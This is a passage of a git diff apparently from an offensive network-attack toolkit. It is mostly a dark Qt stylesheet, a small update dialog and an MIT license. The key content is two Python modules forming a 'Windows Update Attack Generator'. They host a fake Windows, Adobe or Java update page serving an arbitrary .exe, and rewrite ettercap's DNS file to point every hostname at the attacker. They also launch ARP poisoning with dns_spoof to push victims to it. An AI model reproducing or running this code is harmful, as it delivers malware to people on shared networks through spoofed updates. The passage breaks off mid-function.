url(rsc/right_arrow_disabled.png); + width: 10px; + height: 10px; + subcontrol-position: right; + subcontrol-origin: margin; +} + +QScrollBar::sub-line:horizontal +{ + margin: 0px 3px 0px 3px; + border-image: url(rsc/left_arrow_disabled.png); + height: 10px; + width: 10px; + subcontrol-position: left; + subcontrol-origin: margin; +} + +QScrollBar::add-line:horizontal:hover,QScrollBar::add-line:horizontal:on +{ + border-image: url(rsc/right_arrow.png); + height: 10px; + width: 10px; + subcontrol-position: right; + subcontrol-origin: margin; +} + + +QScrollBar::sub-line:horizontal:hover, QScrollBar::sub-line:horizontal:on +{ + border-image: url(rsc/left_arrow.png); + height: 10px; + width: 10px; + subcontrol-position: left; + subcontrol-origin: margin; +} + +QScrollBar::up-arrow:horizontal, QScrollBar::down-arrow:horizontal +{ + background: none; +} + + +QScrollBar::add-page:horizontal, QScrollBar::sub-page:horizontal +{ + background: none; +} + +QScrollBar:vertical +{ + background-color: #2A2929; + width: 15px; + margin: 15px 3px 15px 3px; + border: 1px transparent #2A2929; + border-radius: 4px; +} + +QScrollBar::handle:vertical +{ + background-color: #605F5F; + min-height: 5px; + border-radius: 4px; +} + +QScrollBar::sub-line:vertical +{ + margin: 3px 0px 3px 0px; + border-image: url(rsc/up_arrow_disabled.png); + height: 10px; + width: 10px; + subcontrol-position: top; + subcontrol-origin: margin; +} + +QScrollBar::add-line:vertical +{ + margin: 3px 0px 3px 0px; + border-image: url(rsc/down_arrow_disabled.png); + height: 10px; + width: 10px; + subcontrol-position: bottom; + subcontrol-origin: margin; +} + +QScrollBar::sub-line:vertical:hover,QScrollBar::sub-line:vertical:on +{ + + border-image: url(rsc/up_arrow.png); + height: 10px; + width: 10px; + subcontrol-position: top; + subcontrol-origin: margin; +} + + +QScrollBar::add-line:vertical:hover, QScrollBar::add-line:vertical:on +{ + border-image: url(rsc/down_arrow_theme2.png); + height: 10px; + width: 10px; + subcontrol-position: bottom; + subcontrol-origin: margin; +} + +QScrollBar::up-arrow:vertical, QScrollBar::down-arrow:vertical +{ + background: none; +} + + +QScrollBar::add-page:vertical, QScrollBar::sub-page:vertical +{ + background: none; +} + +QTextEdit +{ + background-color: #201F1F; + color: silver; + border: 1px solid #3A3939; +} + +QPlainTextEdit +{ + background-color: #201F1F;; + color: silver; + border-radius: 2px; + border: 1px solid #3A3939; +} + +QHeaderView::section +{ + background-color: #3A3939; + color: silver; + padding-left: 4px; + border: 1px solid #6c6c6c; +} + +QCheckBox:disabled +{ + color: #404040; +} + +QSizeGrip { + image: url(rsc/sizegrip.png); + width: 12px; + height: 12px; +} + + +QMainWindow::separator +{ + background-color: #302F2F; + color: white; + padding-left: 4px; + spacing: 2px; + border: 1px dashed #3A3939; +} + +QMainWindow::separator:hover +{ + + background-color: #787876; + color: white; + padding-left: 4px; + border: 1px solid #3A3939; + spacing: 2px; +} + + +QMenu::separator +{ + height: 1px; + background-color: #3A3939; + color: white; + padding-left: 4px; + margin-left: 10px; + margin-right: 5px; +} + +QRadioButton::indicator:unchecked{ + color: #b1b1b1; + background-color: #302F2F; + border: 1px solid #444; + border-radius: 5px; +} + +QRadioButton::indicator:checked +{ + background-color: #78879b; + border: 1px solid #444; + border-radius: 5px; +} + +QCheckBox, QRadioButton +{ + padding: 3px; + outline: none; +} + +QCheckBox::indicator, QGroupBox::indicator, QMenu::indicator:non-exclusive{ + color: #b1b1b1; + background-color: #302F2F; + border: 1px solid silver; +} + +QCheckBox::indicator, QMenu::indicator:non-exclusive{ + width: 9px; + height: 9px; +} + +QRadioButton::indicator +{ + border-radius: 5px; + width: 9px; + height: 9px; +} + +QCheckBox::indicator:pressed +{ + border: 1px solid #78879b; +} + +QRadioButton::indicator:hover, QCheckBox::indicator:hover +{ + border: 1px solid #78879b; +} + +QCheckBox::indicator:checked, QGroupBox::indicator:checked, QMenu::indicator:non-exclusive:checked +{ + image:url(rsc/checkbox.png); +} + +QCheckBox::indicator:disabled, QRadioButton::indicator:disabled +{ + border: 1px solid #444; +} + +QCheckBox::indicator:indeterminate { + image: url(rsc/checkbox_indeterminate.png); +} + +QFrame +{ + border-radius: 2px; + border: 1px solid #444; +} + +QFrame[frameShape="0"] +{ + border-radius: 2px; + border: 1px transparent #444; +} + +QStackedWidget +{ + border: 1px transparent black; +} + +QToolBar { + border: 1px transparent #393838; + background: 1px solid #302F2F; + font-weight: bold; +} + +QToolBar::handle:horizontal { + image: url(rsc/Hmovetoolbar.png); +} +QToolBar::handle:vertical { + image: url(rsc/Vmovetoolbar.png); +} +QToolBar::separator:horizontal { + image: url(rsc/Hsepartoolbar.png); +} +QToolBar::separator:vertical { + image: url(rsc/Vsepartoolbars.png); +} + +QPushButton +{ + color: silver; + background-color: #302F2F; + border-width: 1px; + border-color: #4A4949; + border-style: solid; + padding-top: 5px; + padding-bottom: 5px; + padding-left: 5px; + padding-right: 5px; + border-radius: 2px; + outline: none; +} + +QPushButton:disabled +{ + background-color: #302F2F; + border-width: 1px; + border-color: #3A3939; + border-style: solid; + padding-top: 5px; + padding-bottom: 5px; + padding-left: 10px; + padding-right: 10px; + /*border-radius: 2px;*/ + color: #454545; +} + + +QComboBox +{ + selection-background-color: #3d8ec9; + background-color: #201F1F; + border-style: solid; + border: 1px solid #3A3939; + border-radius: 2px; + padding: 2px; + min-width: 75px; +} + +QComboBox:hover,QPushButton:hover,QAbstractSpinBox:hover,QLineEdit:hover,QTextEdit:hover,QPlainTextEdit:hover,QAbstractView:hover,QTreeView:hover +{ + border: 1px solid #78879b; + color: silver; +} + +QComboBox:on +{ + background-color: #626873; + padding-top: 3px; + padding-left: 4px; + selection-background-color: #4a4a4a; +} + +QComboBox QAbstractItemView +{ + background-color: #201F1F; + border-radius: 2px; + border: 1px solid #444; + selection-background-color: #3d8ec9; +} + +QComboBox::drop-down +{ + subcontrol-origin: padding; + subcontrol-position: top right; + width: 15px; + + border-left-width: 0px; + border-left-color: darkgray; + border-left-style: solid; + border-top-right-radius: 3px; + border-bottom-right-radius: 3px; +} + +QComboBox::down-arrow +{ + image: url(rsc/down_arrow_disabled.png); +} + +QComboBox::down-arrow:on, QComboBox::down-arrow:hover, +QComboBox::down-arrow:focus +{ + image: url(rsc/down_arrow_theme2.png); +} + +QPushButton:pressed +{ + background-color: #484846; +} + +QAbstractSpinBox { + padding-top: 2px; + padding-bottom: 2px; + border: 1px solid #3A3939; + background-color: #201F1F; + color: silver; + border-radius: 2px; + min-width: 75px; +} + +QAbstractSpinBox:up-button +{ + background-color: transparent; + subcontrol-origin: border; + subcontrol-position: center right; +} + +QAbstractSpinBox:down-button +{ + background-color: transparent; + subcontrol-origin: border; + subcontrol-position: center left; +} + +QAbstractSpinBox::up-arrow,QAbstractSpinBox::up-arrow:disabled,QAbstractSpinBox::up-arrow:off { + image: url(rsc/up_arrow_disabled.png); + width: 10px; + height: 10px; +} +QAbstractSpinBox::up-arrow:hover +{ + image: url(rsc/up_arrow.png); +} + + +QAbstractSpinBox::down-arrow,QAbstractSpinBox::down-arrow:disabled,QAbstractSpinBox::down-arrow:off +{ + image: url(rsc/down_arrow_disabled.png); + width: 10px; + height: 10px; +} +QAbstractSpinBox::down-arrow:hover +{ + image: url(rsc/down_arrow.png); +} + + +QLabel +{ + border: 0px solid black; +} + +QTabWidget{ + border: 1px transparent black; +} + +QTabWidget::pane { + border: 1px solid #444; + border-radius: 3px; + padding: 3px; +} + +QTabBar +{ + qproperty-drawBase: 0; + left: 5px; /* move to the right by 5px */ +} + +QTabBar:focus +{ + border: 0px transparent black; +} + +QTabBar::close-button { + image: url(rsc/close.png); + background: transparent; +} + +QTabBar::close-button:hover +{ + image: url(rsc/close-hover.png); + background: transparent; +} + +QTabBar::close-button:pressed { + image: url(rsc/close-pressed.png); + background: transparent; +} + +/* TOP TABS */ +QTabBar::tab:top { + color: #b1b1b1; + border: 1px solid #4A4949; + border-bottom: 1px transparent black; + background-color: #302F2F; + padding: 5px; + border-top-left-radius: 2px; + border-top-right-radius: 2px; +} + +QTabBar::tab:top:!selected +{ + color: #b1b1b1; + background-color: #201F1F; + border: 1px transparent #4A4949; + border-bottom: 1px transparent #4A4949; + border-top-left-radius: 0px; + border-top-right-radius: 0px; +} + +QTabBar::tab:top:!selected:hover { + background-color: #48576b; +} + +/* BOTTOM TABS */ +QTabBar::tab:bottom { + color: #b1b1b1; + border: 1px solid #4A4949; + border-top: 1px transparent black; + background-color: #302F2F; + padding: 5px; + border-bottom-left-radius: 2px; + border-bottom-right-radius: 2px; +} + +QTabBar::tab:bottom:!selected +{ + color: #b1b1b1; + background-color: #201F1F; + border: 1px transparent #4A4949; + border-top: 1px transparent #4A4949; + border-bottom-left-radius: 0px; + border-bottom-right-radius: 0px; +} + +QTabBar::tab:bottom:!selected:hover { + background-color: #78879b; +} + +/* LEFT TABS */ +QTabBar::tab:left { + color: #b1b1b1; + border: 1px solid #4A4949; + border-left: 1px transparent black; + background-color: #302F2F; + padding: 5px; + border-top-right-radius: 2px; + border-bottom-right-radius: 2px; +} + +QTabBar::tab:left:!selected +{ + color: #b1b1b1; + background-color: #201F1F; + border: 1px transparent #4A4949; + border-right: 1px transparent #4A4949; + border-top-right-radius: 0px; + border-bottom-right-radius: 0px; +} + +QTabBar::tab:left:!selected:hover { + background-color: #48576b; +} + + +/* RIGHT TABS */ +QTabBar::tab:right { + color: #b1b1b1; + border: 1px solid #4A4949; + border-right: 1px transparent black; + background-color: #302F2F; + padding: 5px; + border-top-left-radius: 2px; + border-bottom-left-radius: 2px; +} + +QTabBar::tab:right:!selected +{ + color: #b1b1b1; + background-color: #201F1F; + border: 1px transparent #4A4949; + border-right: 1px transparent #4A4949; + border-top-left-radius: 0px; + border-bottom-left-radius: 0px; +} + +QTabBar::tab:right:!selected:hover { + background-color: #48576b; +} + +QTabBar QToolButton::right-arrow:enabled { + image: url(rsc/right_arrow.png); + } + + QTabBar QToolButton::left-arrow:enabled { + image: url(rsc/left_arrow.png); + } + +QTabBar QToolButton::right-arrow:disabled { + image: url(rsc/right_arrow_disabled.png); + } + + QTabBar QToolButton::left-arrow:disabled { + image: url(rsc/left_arrow_disabled.png); + } + + +QDockWidget { + border: 1px solid #403F3F; + titlebar-close-icon: url(rsc/close.png); + titlebar-normal-icon: url(rsc/undock.png); +} + +QDockWidget::close-button, QDockWidget::float-button { + border: 1px solid transparent; + border-radius: 2px; + background: transparent; +} + +QDockWidget::close-button:hover, QDockWidget::float-button:hover { + background: rgba(255, 255, 255, 10); +} + +QDockWidget::close-button:pressed, QDockWidget::float-button:pressed { + padding: 1px -1px -1px 1px; + background: rgba(255, 255, 255, 10); +} + +QTreeView, QListView +{ + border: 1px solid #444; + background-color: #201F1F; +} + +QTreeView:branch:selected, QTreeView:branch:hover +{ + background: url(rsc/transparent.png); +} + +QTreeView::branch:has-siblings:!adjoins-item { + border-image: url(rsc/transparent.png); +} + +QTreeView::branch:has-siblings:adjoins-item { + border-image: url(rsc/transparent.png); +} + +QTreeView::branch:!has-children:!has-siblings:adjoins-item { + border-image: url(rsc/transparent.png); +} + +QTreeView::branch:has-children:!has-siblings:closed, +QTreeView::branch:closed:has-children:has-siblings { + image: url(rsc/branch_closed.png); +} + +QTreeView::branch:open:has-children:!has-siblings, +QTreeView::branch:open:has-children:has-siblings { + image: url(rsc/branch_open.png); +} + +QTreeView::branch:has-children:!has-siblings:closed:hover, +QTreeView::branch:closed:has-children:has-siblings:hover { + image: url(rsc/branch_closed-on.png); + } + +QTreeView::branch:open:has-children:!has-siblings:hover, +QTreeView::branch:open:has-children:has-siblings:hover { + image: url(rsc/branch_open-on.png); + } + +QListView::item:!selected:hover, QListView::item:!selected:hover, QTreeView::item:!selected:hover { + background: rgba(0, 0, 0, 0); + outline: 0; + color: #FFFFFF +} + +QListView::item:selected:hover, QListView::item:selected:hover, QTreeView::item:selected:hover { + background: #3d8ec9; + color: #FFFFFF; +} + +QSlider::groove:horizontal { + border: 1px solid #3A3939; + height: 8px; + background: #201F1F; + margin: 2px 0; + border-radius: 2px; +} + +QSlider::handle:horizontal { + background: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, + stop: 0.0 silver, stop: 0.2 #a8a8a8, stop: 1 #727272); + border: 1px solid #3A3939; + width: 14px; + height: 14px; + margin: -4px 0; + border-radius: 2px; +} + +QSlider::groove:vertical { + border: 1px solid #3A3939; + width: 8px; + background: #201F1F; + margin: 0 0px; + border-radius: 2px; +} + +QSlider::handle:vertical { + background: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0.0 silver, + stop: 0.2 #a8a8a8, stop: 1 #727272); + border: 1px solid #3A3939; + width: 14px; + height: 14px; + margin: 0 -4px; + border-radius: 2px; +} + +QToolButton { + background-color: transparent; + border: 1px transparent #4A4949; + border-radius: 2px; + margin: 3px; + padding: 3px; +} + +QToolButton[popupMode="1"] { /* only for MenuButtonPopup */ + padding-right: 20px; /* make way for the popup button */ + border: 1px transparent #4A4949; + border-radius: 5px; +} + +QToolButton[popupMode="2"] { /* only for InstantPopup */ + padding-right: 10px; /* make way for the popup button */ + border: 1px transparent #4A4949; +} + + +QToolButton:hover, QToolButton::menu-button:hover { + background-color: transparent; + border: 1px solid #78879b; +} + +QToolButton:checked, QToolButton:pressed, QToolButton::menu-button:pressed { + background-color: #4A4949; + border: 1px solid #78879b; +} + +/* the subcontrol below is used only in the InstantPopup or DelayedPopup mode */ +QToolButton::menu-indicator { + image: url(rsc/down_arrow.png); + top: -7px; left: -2px; /* shift it a bit */ +} + +/* the subcontrols below are used only in the MenuButtonPopup mode */ +QToolButton::menu-button { + border: 1px transparent #4A4949; + border-top-right-radius: 6px; + border-bottom-right-radius: 6px; + /* 16px width + 4px for border = 20px allocated above */ + width: 16px; + outline: none; +} + +QToolButton::menu-arrow { + image: url(rsc/down_arrow.png); +} + +QToolButton::menu-arrow:open { + top: 1px; left: 1px; /* shift it a bit */ + border: 1px solid #3A3939; +} + +QPushButton::menu-indicator { + subcontrol-origin: padding; + subcontrol-position: bottom right; + left: 8px; +} + +QTableView +{ + border: 1px solid #444; + gridline-color: #6c6c6c; + background-color: #201F1F; +} + + +QTableView, QHeaderView +{ + border-radius: 0px; +} + +QTableView::item:pressed, QListView::item:pressed, QTreeView::item:pressed { + background: #3A3939; + color: #FFFFFF; +} + +QTableView::item:selected:active, QTreeView::item:selected:active, QListView::item:selected:active { + background: #3A3939; + color: #FFFFFF; +} + + +QHeaderView +{ + border: 1px transparent; + border-radius: 2px; + margin: 0px; + padding: 0px; +} + +QHeaderView::section { + background-color: #3A3939; + color: silver; + padding: 4px; + border: 1px solid #6c6c6c; + border-radius: 0px; + text-align: center; +} + +QHeaderView::section::vertical::first, QHeaderView::section::vertical::only-one +{ + border-top: 1px solid #6c6c6c; +} + +QHeaderView::section::vertical +{ + border-top: transparent; +} + +QHeaderView::section::horizontal::first, QHeaderView::section::horizontal::only-one +{ + border-left: 1px solid #6c6c6c; +} + +QHeaderView::section::horizontal +{ + border-left: transparent; +} + + +QHeaderView::section:checked + { + color: white; + background-color: #5A5959; + } + + /* style the sort indicator */ +QHeaderView::down-arrow { + image: url(rsc/down_arrow.png); +} + +QHeaderView::up-arrow { + image: url(rsc/up_arrow.png); +} + + +QTableCornerButton::section { + background-color: #3A3939; + border: 1px solid #3A3939; + border-radius: 2px; +} + +QToolBox { + padding: 3px; + border: 1px transparent black; +} + +QToolBox::tab { + color: #b1b1b1; + background-color: #302F2F; + border: 1px solid #4A4949; + border-bottom: 1px transparent #302F2F; + border-top-left-radius: 5px; + border-top-right-radius: 5px; +} + + QToolBox::tab:selected { /* italicize selected tabs */ + font: italic; + background-color: #302F2F; + border-color: #3d8ec9; + } + +QStatusBar::item { + border: 1px solid #3A3939; + border-radius: 2px; + } + + +QFrame[height="3"], QFrame[width="3"] { + background-color: #444; +} + + +QSplitter::handle { + border: 1px dashed #3A3939; +} + +QSplitter::handle:hover { + background-color: #787876; + border: 1px solid #3A3939; +} + +QSplitter::handle:horizontal { + width: 1px; +} + +QSplitter::handle:vertical { + height: 1px; +} diff --git a/Core/update.py b/Core/update.py new file mode 100644 index 0000000..a652f5f --- /dev/null +++ b/Core/update.py @@ -0,0 +1,35 @@ +from PyQt4.QtGui import * +from PyQt4.QtCore import * +from Core.Settings import frm_Settings +class frm_Update(QDialog): + def __init__(self, parent = None): + super(frm_Update, self).__init__(parent) + self.setWindowTitle("Update Center") + self.Main = QVBoxLayout() + self.frm = QFormLayout() + self.setGeometry(0, 0, 200, 100) + self.center() + self.config = frm_Settings() + self.loadtheme(self.config.XmlThemeSelected()) + self.Qui_update() + def loadtheme(self,theme): + if theme != "theme2": + sshFile=("Core/%s.css"%(theme)) + with open(sshFile,"r") as fh: + self.setStyleSheet(fh.read()) + else: + sshFile=("Core/%s.css"%(theme)) + with open(sshFile,"r") as fh: + self.setStyleSheet(fh.read()) + def center(self): + frameGm = self.frameGeometry() + centerPoint = QDesktopWidget().availableGeometry().center() + frameGm.moveCenter(centerPoint) + self.move(frameGm.topLeft()) + + def Qui_update(self): + self.form = QFormLayout(self) + self.btn_update = QPushButton("check") + self.form.addRow(self.btn_update) + self.Main.addLayout(self.form) + self.setLayout(self.Main) \ No newline at end of file diff --git a/Database/database.db b/Database/database.db new file mode 100644 index 0000000..723d835 Binary files /dev/null and b/Database/database.db differ diff --git a/License.txt b/License.txt new file mode 100644 index 0000000..e88105a --- /dev/null +++ b/License.txt @@ -0,0 +1,21 @@ +The MIT License (MIT) + +Copyright (c) 2015 P0cL4bs Team + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/Modules/AttackUp.py b/Modules/AttackUp.py new file mode 100644 index 0000000..dc09b9d --- /dev/null +++ b/Modules/AttackUp.py @@ -0,0 +1,230 @@ +from PyQt4.QtGui import * +from PyQt4.QtCore import * +from os import getcwd,popen,chdir,walk,path,remove,stat,getuid +from Modules.DHCPstarvation import frm_dhcp_Attack,conf_etter +from platform import linux_distribution +from Core.Settings import frm_Settings +from re import search +import threading +from shutil import copyfile +class frm_update_attack(QMainWindow): + def __init__(self, parent=None): + super(frm_update_attack, self).__init__(parent) + self.form_widget = frm_WinSoftUp(self) + self.setCentralWidget(self.form_widget) + self.setWindowTitle("Windows Update Attack Generator ") + self.setWindowIcon(QIcon('rsc/icon.ico')) + self.config = frm_Settings() + self.loadtheme(self.config.XmlThemeSelected()) + + def loadtheme(self,theme): + if theme != "theme2": + sshFile=("Core/%s.css"%(theme)) + with open(sshFile,"r") as fh: + self.setStyleSheet(fh.read()) + else: + sshFile=("Core/%s.css"%(theme)) + with open(sshFile,"r") as fh: + self.setStyleSheet(fh.read()) +class frm_WinSoftUp(QWidget): + def __init__(self, parent=None): + super(frm_WinSoftUp, self).__init__(parent) + + self.Main = QVBoxLayout() + self.control = None + self.module2 = frm_dhcp_Attack() + self.path_file = None + self.owd = getcwd() + self.GUI() + def GUI(self): + self.form = QFormLayout(self) + self.grid = QGridLayout(self) + self.grid1 = QGridLayout(self) + self.path = QLineEdit(self) + self.logBox = QListWidget(self) + self.path.setFixedWidth(400) + #combobox + self.cb_interface = QComboBox(self) + self.refresh_interface(self.cb_interface) + + #label + self.lb_interface = QLabel("Network Adapter:") + # buttons + self.btn_open = QPushButton("...") + self.btn_start = QPushButton("Start DNS",self) + self.btn_stop = QPushButton("Stop",self) + self.btn_reload = QPushButton("refresh",self) + self.btn_start_server = QPushButton("Start Server",self) + # size + self.btn_open.setMaximumWidth(90) + self.btn_start.setFixedHeight(50) + self.btn_stop.setFixedHeight(50) + self.btn_start_server.setFixedHeight(50) + #icons + self.btn_start.setIcon(QIcon("rsc/start.png")) + self.btn_open.setIcon(QIcon("rsc/open.png")) + self.btn_stop.setIcon(QIcon("rsc/Stop.png")) + self.btn_reload.setIcon(QIcon("rsc/refresh.png")) + self.btn_start_server.setIcon(QIcon("rsc/server.png")) + + # connect buttons + self.btn_start.clicked.connect(self.dns_start) + self.btn_open.clicked.connect(self.getpath) + self.btn_reload.clicked.connect(self.inter_get) + self.btn_start_server.clicked.connect(self.server_start) + self.btn_stop.clicked.connect(self.stop_attack) + + + # radionButton + self.rb_windows = QRadioButton("Windows Update",self) + self.rb_windows.setIcon(QIcon("rsc/winUp.png")) + self.rb_adobe = QRadioButton("Adobe Update", self) + self.rb_adobe.setIcon(QIcon("rsc/adobe.png")) + self.rb_java = QRadioButton("Java Update", self) + self.rb_java.setIcon(QIcon("rsc/java.png")) + self.grid.addWidget(self.rb_windows, 0,1) + self.grid.addWidget(self.rb_adobe, 0,2) + self.grid.addWidget(self.rb_java, 0,3) + # check interface + self.grid.addWidget(self.lb_interface,1,1) + self.grid.addWidget(self.cb_interface,1,2) + self.grid.addWidget(self.btn_reload, 1,3) + + #grid 2 + self.grid1.addWidget(self.btn_start_server,0,2) + self.grid1.addWidget(self.btn_start,0,3) + self.grid1.addWidget(self.btn_stop,0,4) + + #form add layout + self.form.addRow(self.path,self.btn_open) + self.form.addRow(self.grid) + self.form.addRow(self.grid1) + self.form.addRow(self.logBox) + self.Main.addLayout(self.form) + self.setLayout(self.Main) + + def stop_attack(self): + popen("killall xterm") + self.alt_etter("") + if path.isfile("Modules/Win-Explo/Windows_Update/index.html"): + remove("Modules/Win-Explo/Windows_Update/index.html") + if path.isfile("Modules/Win-Explo/Windows_Update/windows-update.exe"): + remove("Modules/Win-Explo/Windows_Update/windows-update.exe") + QMessageBox.information(self,"Clear Setting", "log cLear success ") + + def inter_get(self): + self.refresh_interface(self.cb_interface) + + def refresh_interface(self,cb): + self.module2 = frm_dhcp_Attack() + cb.clear() + n = self.module2.placa() + for i,j in enumerate(n): + if self.module2.get_ip_local(n[i]) != None: + if n[i] != "": + cb.addItem(n[i]) + + def server_start(self): + if len(self.path.text()) <= 0: + QMessageBox.information(self, "Path file Error", "Error in get the file path.") + else: + if self.rb_windows.isChecked(): + directory = "Modules/Win-Explo/Windows_Update/" + self.logBox.addItem("[+] Set page Attack.") + try: + if path.isfile(directory+"windows-update.exe"): + remove(directory+"windows-update.exe") + copyfile(self.path_file,directory+"windows-update.exe") + except OSError,e: + print e + if not getuid() != 0: + file_html = open("Modules/Win-Explo/Settings_WinUpdate.html","r").read() + settings_html = file_html.replace("KBlenfile", str(self.getSize(self.path_file))+"KB") + if path.isfile(directory+"index.html"): + remove(directory+"index.html") + confFile = open(directory+"index.html","w") + confFile.write(settings_html) + confFile.close() + self.t = threading.Thread(target=self.threadServer,args=(directory,),) + self.t.daemon = True + self.t.start() + else: + QMessageBox.information(self, "Permission Denied", 'the Tool must be run as root try again.') + self.logBox.clear() + if path.isfile(directory+"windows-update.exe"): + remove(directory+"windows-update.exe") + + def dns_start(self): + if self.control != None: + self.logBox.addItem("[+] Settings Etter.dns.") + ipaddress = self.module2.get_ip_local(str(self.cb_interface.currentText())) + config_dns = ("* A %s"%(ipaddress)) + self.path_file_etter = self.find("etter.dns", "/etc/ettercap/") + self.logBox.addItem("[+] check Path Ettercap.") + if self.path_file_etter == None: + self.path_file_etter = self.find("etter.dns", "/usr/share/ettercap/") + if not self.path_file_etter != None: + QMessageBox.information(self, 'Path not Found', "the file etter.dns not found check if ettercap this installed") + if self.path_file_etter != None: + self.alt_etter(config_dns) + self.thread2 = threading.Thread(target=self.ThreadDNS, args=(str(self.cb_interface.currentText()),)) + self.thread2.daemon = True + self.thread2.start() + else: + QMessageBox.information(self, 'Server Phishing Error', "Error not start Server...") + + def threadServer(self,directory): + self.logBox.addItem("[+] Get IP local network.") + ip = self.module2.get_ip_local(self.cb_interface.currentText()) + try: + chdir(directory) + except OSError: + pass + popen("service apache2 stop") + self.control = 1 + n = (popen("""xterm -geometry 75x15-1+0 -T "Windows Fake update " -e php -S %s:80"""%(ip))).read() + "exit" + chdir(self.owd) + while n != "dsa": + if n == "exit": + self.logBox.clear() + n = "dsa" + self.control = None + if path.isfile(directory+"index.html") and path.isfile(directory+"windows-update.exe"): + remove(directory+"windows-update.exe") + remove(directory+"index.html") + break + + def ThreadDNS(self,interface): + self.logBox.addItem("[+] Start Attack all DNS.") + distro = linux_distribution() + if search("Kali Linux",distro[0]): + n = (popen("""xterm -geometry 75x15-1+250 -T "DNS SPOOF Attack On %s" -e ettercap -T -Q -M arp -i %s -P dns_spoof // //"""%(interface,interface)).read()) + "exit" + else: + n = (popen("""xterm -geometry 75x15-1+250 -T "DNS SPOOF Attack On %s" -e ettercap -T -Q -M arp -i %s -P dns_spoof """%(interface,interface)).read()) + "exit" + while n != "dsa": + if n == "exit": + #self.dns_status(False) + self.logBox.clear() + n = "dsa" + break + + def getpath(self): + file = QFileDialog.getOpenFileName(self, 'Open Executable file',filter='*.exe') + if len(file) > 0: + self.path_file = file + self.path.setText(file) + + def alt_etter(self,data): + configure = conf_etter(data) + file = open(self.path_file_etter, "w") + file.write(configure) + file.close() + + def find(self,name, paths): + for root, dirs, files in walk(paths): + if name in files: + return path.join(root, name) + + def getSize(self,filename): + st = stat(filename) + return st.st_size \ No newline at end of file diff --git a/Modules/AttackUp_arp.py b/Modules/AttackUp_arp.py new file mode 100644 index 0000000..9d3bb6a --- /dev/null +++ b/Modules/AttackUp_arp.py @@ -0,0 +1,226 @@ +from PyQt4.QtGui import * +from PyQt4.QtCore import * +from os import getcwd,popen,chdir,walk,path,remove,stat,getuid +from Modules.DHCPstarvation import frm_dhcp_Attack,conf_etter +from platform import linux_distribution +from Core.Settings import frm_Settings +from re import search +import threading +from shutil import copyfile +class frm_update_attack(QMainWindow): + def __init__(self, parent=None): + super(frm_update_attack, self).__init__(parent) + self.form_widget = frm_WinSoftUp(self) + self.setCentralWidget(self.form_widget) + self.setWindowTitle("Windows Update Attack Generator ") + self.setWindowIcon(QIcon('rsc/icon.ico')) + self.config = frm_Settings() + self.loadtheme(self.config.XmlThemeSelected()) + + def loadtheme(self,theme): + if theme != "theme2": + sshFile=("Core/%s.css"%(theme)) + with open(sshFile,"r") as fh: + self.setStyleSheet(fh.read()) + else: + sshFile=("Core/%s.css"%(theme)) + with open(sshFile,"r") as fh: + self.setStyleSheet(fh.read()) + +class frm_WinSoftUp(QWidget): + def __init__(self, parent=None): + super(frm_WinSoftUp, self).__init__(parent) + + self.Main = QVBoxLayout() + self.control = None + self.module2 = frm_dhcp_Attack() + self.path_file = None + self.owd = getcwd() + self.GUI() + def GUI(self): + self.form = QFormLayout(self) + self.grid = QGridLayout(self) + self.grid1 = QGridLayout(self) + self.path = QLineEdit(self) + self.logBox = QListWidget(self) + self.path.setFixedWidth(400) + #combobox + self.cb_interface = QComboBox(self) + self.refresh_interface(self.cb_interface) + + #label + self.lb_interface = QLabel("Network Adapter:") + # buttons + self.btn_open = QPushButton("...") + self.btn_stop = QPushButton("Stop",self) + self.btn_reload = QPushButton("refresh",self) + self.btn_start_server = QPushButton("Start Server",self) + # size + self.btn_open.setMaximumWidth(90) + self.btn_stop.setFixedHeight(50) + self.btn_start_server.setFixedHeight(50) + #icons + self.btn_open.setIcon(QIcon("rsc/open.png")) + self.btn_stop.setIcon(QIcon("rsc/Stop.png")) + self.btn_reload.setIcon(QIcon("rsc/refresh.png")) + self.btn_start_server.setIcon(QIcon("rsc/server.png")) + + # connect buttons + self.btn_open.clicked.connect(self.getpath) + self.btn_reload.clicked.connect(self.inter_get) + self.btn_start_server.clicked.connect(self.server_start) + self.btn_stop.clicked.connect(self.stop_attack) + + + # radionButton + self.rb_windows = QRadioButton("Windows Update",self) + self.rb_windows.setIcon(QIcon("rsc/winUp.png")) + self.rb_adobe = QRadioButton("Adobe Update", self) + self.rb_adobe.setIcon(QIcon("rsc/adobe.png")) + self.rb_java = QRadioButton("Java Update", self) + self.rb_java.setIcon(QIcon("rsc/java.png")) + self.grid.addWidget(self.rb_windows, 0,1) + self.grid.addWidget(self.rb_adobe, 0,2) + self.grid.addWidget(self.rb_java, 0,3) + # check interface + self.grid.addWidget(self.lb_interface,1,1) + self.grid.addWidget(self.cb_interface,1,2) + self.grid.addWidget(self.btn_reload, 1,3) + + #grid 2 + self.grid1.addWidget(self.btn_start_server,0,2) + self.grid1.addWidget(self.btn_stop,0,4) + + #form add layout + self.form.addRow(self.path,self.btn_open) + self.form.addRow(self.grid) + self.form.addRow(self.grid1) + self.form.addRow(self.logBox) + self.Main.addLayout(self.form) + self.setLayout(self.Main) + + def stop_attack(self): + popen("killall xterm") + self.alt_etter("") + if path.isfile("Modules/Win-Explo/Windows_Update/index.html"): + remove("Modules/Win-Explo/Windows_Update/index.html") + if path.isfile("Modules/Win-Explo/Windows_Update/windows-update.exe"): + remove("Modules/Win-Explo/Windows_Update/windows-update.exe") + QMessageBox.information(self,"Clear Setting", "log cLear success ") + + def inter_get(self): + self.refresh_interface(self.cb_interface) + + def refresh_interface(self,cb): + self.module2 = frm_dhcp_Attack() + cb.clear() + n = self.module2.placa() + for i,j in enumerate(n): + if 